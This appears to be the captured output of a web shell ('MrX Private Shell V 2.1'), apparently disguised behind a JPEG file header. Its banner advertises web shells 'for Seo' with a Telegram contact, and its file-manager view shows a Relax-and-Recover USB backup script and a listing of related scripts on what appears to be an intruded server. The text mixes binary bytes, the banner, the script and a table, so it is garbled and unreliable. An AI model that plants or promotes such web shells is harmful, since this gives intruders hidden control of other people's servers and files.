����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
### set USB device from OUTPUT_URL
if [[ -z "$USB_DEVICE" ]] && [[ "$OUTPUT_URL" ]]; then
local scheme="$( url_scheme "$OUTPUT_URL" )"
local path="$( url_path "$OUTPUT_URL" )"
case "$scheme" in
(usb)
USB_DEVICE="$path"
;;
esac
fi
# Set USB_PREFIX:
# Use plain $USB_SUFFIX and not "$USB_SUFFIX" because when USB_SUFFIX contains only blanks
# test "$USB_SUFFIX" would result true because test " " results true:
if test $USB_SUFFIX ; then
# When USB_SUFFIX is set the compliance mode is used which means
USB_PREFIX="rear/$HOSTNAME/$USB_SUFFIX"
# which results that backup on USB works in compliance with backup on NFS
# which means a fixed backup directory and no automated backups cleanup
# see https://github.com/rear/rear/issues/1164
else
# When USB_SUFFIX is unset, empty, or contains only blanks
# the default mode for backup on USB is used which means
USB_PREFIX="rear/$HOSTNAME/$( date +%Y%m%d.%H%M )"
# which results multiple timestamp backup directories
# plus automated backups cleanup via USB_RETAIN_BACKUP_NR
fi
test "$USB_PREFIX" || USB_PREFIX="rear/$HOSTNAME/$(date +%Y%m%d.%H%M)"
### Change NETFS_PREFIX to USB_PREFIX if our backup URL is on USB
if [[ "$BACKUP_URL" ]] ; then
local scheme="$( url_scheme "$BACKUP_URL" )"
case "$scheme" in
(usb)
NETFS_PREFIX="$USB_PREFIX"
;;
esac
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 040_set_NETFS_requirements.sh | File | 398 B | 0644 |
|
| 060_set_usb_device.sh | File | 1.4 KB | 0644 |
|
| 380_copy_usb_fs_module.sh | File | 5.12 KB | 0644 |
|
| 480_initialize_write_protect_settings.sh | File | 1.62 KB | 0644 |
|